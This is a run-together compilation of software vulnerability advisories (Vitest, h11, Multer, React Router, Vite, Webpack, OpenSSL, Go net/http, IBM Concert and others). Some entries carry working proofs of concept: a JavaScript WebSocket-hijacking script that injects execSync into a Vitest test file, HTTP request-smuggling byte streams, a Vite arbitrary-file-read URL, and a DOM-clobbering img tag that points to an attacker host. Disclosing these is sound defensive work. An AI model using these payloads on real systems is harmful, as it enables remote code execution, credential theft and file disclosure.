IBM Concert Software 1.0.0 through 1.1.0 uses cross-origin resource sharing (CORS) which could allow an attacker to carry out privileged actions as the domain name is not being limited to only trusted domains.

Summary Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks. https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API. https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC 1. Open Vitest UI. 2. Access a malicious web site with the script below. 3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.

js // code from https://github.com/WebReflection/flatted const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run const ws = new WebSocket('ws://localhost:51204/vitestapi') ws.addEventListener('message', e => { console.log(e.data) }) ws.addEventListener('open', () => { ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

// edit file content to inject command execution ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "saveTestFile", a: [testFilePath, "import childprocess from 'childprocess';childprocess.execSync('calc')"] })) // rerun the tests to run the injected command execution code ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "rerun", a: [testFilePath] })) })

Impact This vulnerability can result in remote code execution for users that are using Vitest serve API.

Summary Koa uses an evil regex to parse the X-Forwarded-Proto and X-Forwarded-Host HTTP headers. This can be exploited to carry out a Denial-of-Service attack.

PoC

Coming soon.

Impact This is a Regex Denial-of-Service attack and causes memory exhaustion. The regex should be improved and empty values should not be allowed.

Impact

A leniency in h11's parsing of line terminators in chunked-coding message bodies can lead to request smuggling vulnerabilities under certain conditions.

Details

HTTP/1.1 Chunked-Encoding bodies are formatted as a sequence of "chunks", each of which consists of:

- chunk length - \r\n - length bytes of content - \r\n

In versions of h11 up to 0.14.0, h11 instead parsed them as:

- chunk length - \r\n - length bytes of content - any two bytes

i.e. it did not validate that the trailing \r\n bytes were correct, and if you put 2 bytes of garbage there it would be accepted, instead of correctly rejecting the body as malformed.

By itself this is harmless. However, suppose you have a proxy or reverse-proxy that tries to analyze HTTP requests, and your proxy has a different bug in parsing Chunked-Encoding, acting as if the format is:

- chunk length - \r\n - length bytes of content - more bytes of content, as many as it takes until you find a \r\n

For example, pound had this bug -- it can happen if an implementer uses a generic "read until end of line" helper to consumes the trailing \r\n.

In this case, h11 and your proxy may both accept the same stream of bytes, but interpret them differently. For example, consider the following HTTP request(s) (assume all line breaks are \r\n):

GET /one HTTP/1.1 Host: localhost Transfer-Encoding: chunked

5 AAAAAXX2 45 0

GET /two HTTP/1.1 Host: localhost Transfer-Encoding: chunked

0

Here h11 will interpret it as two requests, one with body AAAAA45 and one with an empty body, while our hypothetical buggy proxy will interpret it as a single request, with body AAAAXX20\r\n\r\nGET /two .... And any time two HTTP processors both accept the same string of bytes but interpret them differently, you have the conditions for a "request smuggling" attack. For example, if /two is a dangerous endpoint and the job of the reverse proxy is to stop requests from getting there, then an attacker could use a bytestream like the above to circumvent this protection.

Even worse, if our buggy reverse proxy receives two requests from different users:

GET /one HTTP/1.1 Host: localhost Transfer-Encoding: chunked

5 AAAAAXX999 0

GET /two HTTP/1.1 Host: localhost Cookie: SESSIONKEY=abcdef...

...it will consider the first request to be complete and valid, and send both on to the h11-based web server over the same socket. The server will then see the two concatenated requests, and interpret them as one request to /one whose body includes /two's session key, potentially allowing one user to steal another's credentials.

Patches

Fixed in h11 0.15.0.

Workarounds

Since exploitation requires the combination of buggy h11 with a buggy (reverse) proxy, fixing either component is sufficient to mitigate this issue.

Credits

Reported by Jeppe Bonde Weikop on 2025-01-09.

Impact

A vulnerability in Multer versions >=1.4.4-lts.1, <2.0.1 allows an attacker to trigger a Denial of Service (DoS) by sending an upload file request with an empty string field name. This request causes an unhandled exception, leading to a crash of the process.

Patches

Users should upgrade to 2.0.1

Workarounds

None

References

https://github.com/expressjs/multer/commit/35a3272b611945155e046dd5cef11088587635e9 https://github.com/expressjs/multer/issues/1233 https://github.com/expressjs/multer/pull/1256

A flaw was found in the Pulp package. When a role-based access control (RBAC) object in Pulp is set to assign permissions on its creation, it uses the AutoAddObjPermsMixin (typically the addrolesforobjectcreator method). This method finds the object creator by checking the current authenticated user. For objects that are created within a task, this current user is set by the first user with any permissions on the task object. This means the oldest user with model/domain-level task permissions will always be set as the current user of a task, even if they didn't dispatch the task. Therefore, all objects created in tasks will have their permissions assigned to this oldest user, and the creating user will receive nothing.

Summary After some research, it turns out that it's possible to modify pre-rendered data by adding a header to the request. This allows to completely spoof its contents and modify all the values ​​of the data object passed to the HTML. Latest versions are impacted.

Details The vulnerable header is X-React-Router-Prerender-Data, a specific JSON object must be passed to it in order for the spoofing to be successful as we will see shortly. Here is the vulnerable code :

<img width="776" alt="Capture d’écran 2025-04-07 à 05 36 58" src="https://github.com/user-attachments/assets/c95b0b33-15ce-4d30-9f5e-b10525dd6ab4" />

To use the header, React-router must be used in Framework mode, and for the attack to be possible the target page must use a loader.

Steps to reproduce Versions used for our PoC: - "@react-router/node": "^7.5.0", - "@react-router/serve": "^7.5.0", - "react": "^19.0.0" - "react-dom": "^19.0.0" - "react-router": "^7.5.0"

1. Install React-Router with its default configuration in Framework mode (https://reactrouter.com/start/framework/installation) 2. Add a simple page using a loader (example: routes/ssr) 3. Access your page (which uses the loader) by suffixing it with .data. In our case the page is called /ssr:

!image

We access it by adding the suffix .data and retrieve the data object, needed for the header:

!image

4. Send your request by adding the X-React-Router-Prerender-Data header with the previously retrieved object as its value. You can change any value of your data object (do not touch the other values, the latter being necessary for the object to be processed correctly and not throw an error):

!Capture d’écran 2025-04-07 à 05 56 10

As you can see, all values ​​have been changed/overwritten by the values ​​provided via the header.

Impact The impact is significant, if a cache system is in place, it is possible to poison a response in which all of the data transmitted via a loader would be altered by an attacker allowing him to take control of the content of the page and modify it as he wishes via a cache-poisoning attack. This can lead to several types of attacks including potential stored XSS depending on the context in which the data is injected and/or how the data is used on the client-side.

Credits - Rachid Allam (zhero;) - Yasser Allam (inzo)

musl libc 0.9.13 through 1.2.5 before 1.2.6 has an out-of-bounds write vulnerability when an attacker can trigger iconv conversion of untrusted EUC-KR text to UTF-8.

Kerberos 5 (aka krb5) 1.21.2 contains a memory leak vulnerability in /krb5/src/lib/gssapi/krb5/k5sealv3.c.

An attacker may cause an HTTP/2 endpoint to read arbitrary amounts of header data by sending an excessive number of CONTINUATION frames. Maintaining HPACK state requires parsing and processing all HEADERS and CONTINUATION frames on a connection. When a request's headers exceed MaxHeaderBytes, no memory is allocated to store the excess headers, but they are still parsed. This permits an attacker to cause an HTTP/2 endpoint to read arbitrary amounts of header data, all associated with a request which is going to be rejected. These headers can include Huffman-encoded data which is significantly more expensive for the receiver to decode than for an attacker to send. The fix sets a limit on the amount of excess header frames we will process before closing a connection.

Denial of service due to improper 100-continue handling in net/http

Last updated 19 September 2024

Abnormal termination of an application can a cause a denial of service.

Applications performing certificate name checks (e.g., TLS clients checking server certificates) may attempt to read an invalid memory address when comparing the expected name with an otherName subject alternative name of an X.509 certificate. This may result in an exception that terminates the application program.

Note that basic certificate chain validation (signatures, dates, ...) is not affected, the denial of service can occur only when the application also specifies an expected DNS name, Email address or IP address.

TLS servers rarely solicit client certificates, and even when they do, they generally don't perform a name check against a "reference identifier" (expected identity), but rather extract the presented identity after checking the certificate chain. So TLS servers are generally not affected and the severity of the issue is Moderate.

The FIPS modules in 3.3, 3.2, 3.1 and 3.0 are not affected by this issue. OpenSSL 1.1.1 and 1.0.2 are also not affected by this issue.

OpenSSL 3.3, 3.2, 3.1 and 3.0 are vulnerable to this issue.

OpenSSL 3.3 users should upgrade to OpenSSL 3.3.2

OpenSSL 3.2 users should upgrade to OpenSSL 3.2.3

OpenSSL 3.1 users should upgrade to OpenSSL 3.1.7

OpenSSL 3.0 users should upgrade to OpenSSL 3.0.15

A flaw in libtasn1 causes inefficient handling of specific certificate data. When processing a large number of elements in a certificate, libtasn1 takes much longer than expected, which can slow down or even crash the system. This flaw allows an attacker to send a specially crafted certificate, causing a denial of service attack.

Summary

The contents of arbitrary files can be returned to the browser.

Impact Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

- base64 encoded content of non-allowed files is exposed using ?inline&import (originally reported as ?import&?inline=1.wasm?init) - content of non-allowed files is exposed using ?raw?import

/@fs/ isn't needed to reproduce the issue for files inside the project root.

PoC

Original report (check details above for simplified cases):

The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev

Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init

Summary After some research, it turns out that it is possible to force an application to switch to SPA mode by adding a header to the request. If the application uses SSR and is forced to switch to SPA, this causes an error that completely corrupts the page. If a cache system is in place, this allows the response containing the error to be cached, resulting in a cache poisoning that strongly impacts the availability of the application.

Details The vulnerable header is X-React-Router-SPA-Mode; adding it to a request sent to a page/endpoint using a loader throws an error. Here is the vulnerable code :

<img width="672" alt="Capture d’écran 2025-04-07 à 08 28 20" src="https://github.com/user-attachments/assets/0a0e9c41-70fd-4dba-9061-892dd6797291" />

To use the header, React-router must be used in Framework mode, and for the attack to be possible the target page must use a loader.

Steps to reproduce Versions used for our PoC: - "@react-router/node": "^7.5.0", - "@react-router/serve": "^7.5.0", - "react": "^19.0.0" - "react-dom": "^19.0.0" - "react-router": "^7.5.0"

1. Install React-Router with its default configuration in Framework mode (https://reactrouter.com/start/framework/installation) 2. Add a simple page using a loader (example: routes/ssr)

!image

3. Send a request to the endpoint using the loader (/ssr in our case) adding the following header: X-React-Router-SPA-Mode: yes

Notice the difference between a request with and without the header;

Normal request !Capture d’écran 2025-04-07 à 08 36 27

With the header !Capture d’écran 2025-04-07 à 08 37 01 !image

Impact If a system cache is in place, it is possible to poison the response by completely altering its content (by an error message), strongly impacting its availability, making the latter impractical via a cache-poisoning attack.

Credits - Rachid Allam (zhero;) - Yasser Allam (inzo)

Impact

Multer <2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal busboy stream is not closed, violating Node.js stream safety guidance.

This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted.

Patches

Users should upgrade to 2.0.0

Workarounds

None

References

- https://github.com/expressjs/multer/pull/1120 - https://github.com/expressjs/multer/commit/2c8505f207d923dd8de13a9f93a4563e59933665

Impact A vulnerability in Multer versions >=1.4.4-lts.1 allows an attacker to trigger a Denial of Service (DoS) by sending a malformed multi-part upload request. This request causes an unhandled exception, leading to a crash of the process.

Patches Users should upgrade to 2.0.0

Workarounds None

References

- https://github.com/expressjs/multer/issues/1176 - https://github.com/expressjs/multer/commit/2c8505f207d923dd8de13a9f93a4563e59933665

IBM Concert Software 1.0.0 through 1.1.0 is vulnerable to excessive data exposure, allowing attackers to access sensitive information without proper filtering.

IBM Concert Software 1.0.0 through 1.1.0

contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data.

IBM Concert Software 1.0.0 through 1.1.0 could allow a remote attacker to obtain sensitive information from allocated memory due to improper clearing of heap memory.

IBM Concert Software 1.0.0 through 1.1.0 could allow a remote attacker to cause a denial of service using a specially crafted regular expression that would cause excessive resource consumption.

IBM Concert Software 1.0.0 through 1.1.0 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.

IBM Concert Software 1.0.0 through 1.1.0 could allow a remote attacker to obtain sensitive information from allocated memory due to improper clearing of heap memory.

A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

Last updated 14 November 2024

Insufficient sanitization of Host header in net/http

Summary

We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Webpack

We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. When the output.publicPath field in the configuration is not set or is set to auto, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:

// / webpack/runtime/publicPath / // (() => { // var scriptUrl; // if (webpackrequire.g.importScripts) scriptUrl = webpackrequire.g.location + ""; // var document = webpackrequire.g.document; // if (!scriptUrl && document) { // if (document.currentScript) // scriptUrl = document.currentScript.src; // if (!scriptUrl) { // var scripts = document.getElementsByTagName("script"); // if(scripts.length) { // var i = scripts.length - 1; // while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src; // } // } // } // // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration // // or pass an empty string ("") and set the webpackpublicpath variable from your code to use your own logic. // if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser"); // scriptUrl = scriptUrl.replace(/#.$/, "").replace(/\?.$/, "").replace(/\/[^\/]+$/, "/"); // webpackrequire.p = scriptUrl; // })();

However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the scriptUrl and assigned to webpackrequire.p. If additional scripts are loaded from the server, webpackrequire.p will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.

PoC

Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.

Consider a website developer with the following two scripts, entry.js and import1.js, that are compiled using Webpack:

// entry.js import('./import1.js') .then(module => { module.hello(); }) .catch(err => { console.error('Failed to load module', err); });

// import1.js export function hello () { console.log('Hello'); }

The webpack.config.js is set up as follows: const path = require('path');

module.exports = { entry: './entry.js', // Ensure the correct path to your entry file output: { filename: 'webpack-gadgets.bundle.js', // Output bundle file path: path.resolve(dirname, 'dist'), // Output directory publicPath: "auto", // Or leave this field not set }, target: 'web', mode: 'development', };

When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html> <html> <head> <title>Webpack Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script src="./dist/webpack-gadgets.bundle.js"></script> <body> </body> </html>

Impact

This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.

Patch

A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174

// / webpack/runtime/publicPath / // (() => { // var scriptUrl; // if (webpackrequire.g.importScripts) scriptUrl = webpackrequire.g.location + ""; // var document = webpackrequire.g.document; // if (!scriptUrl && document) { // if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :> // scriptUrl = document.currentScript.src; // if (!scriptUrl) { // var scripts = document.getElementsByTagName("script"); // if(scripts.length) { // var i = scripts.length - 1; // while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src; // } // } // } // // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration // // or pass an empty string ("") and set the webpackpublicpath variable from your code to use your own logic. // if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser"); // scriptUrl = scriptUrl.replace(/#.$/, "").replace(/\?.$/, "").replace(/\/[^\/]+$/, "/"); // webpackrequire.p = scriptUrl; // })();

Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.

An absolute path traversal attack exists in the Ansible automation platform. This flaw allows an attacker to craft a malicious Ansible role and make the victim execute the role. A symlink can be used to overwrite a file outside of the extraction path.

A certificate with a URI which has a IPv6 address with a zone ID may incorrectly satisfy a URI name constraint that applies to the certificate chain.

Certificates containing URIs are not permitted in the web PKI, so this only affects users of private PKIs which make use of URIs.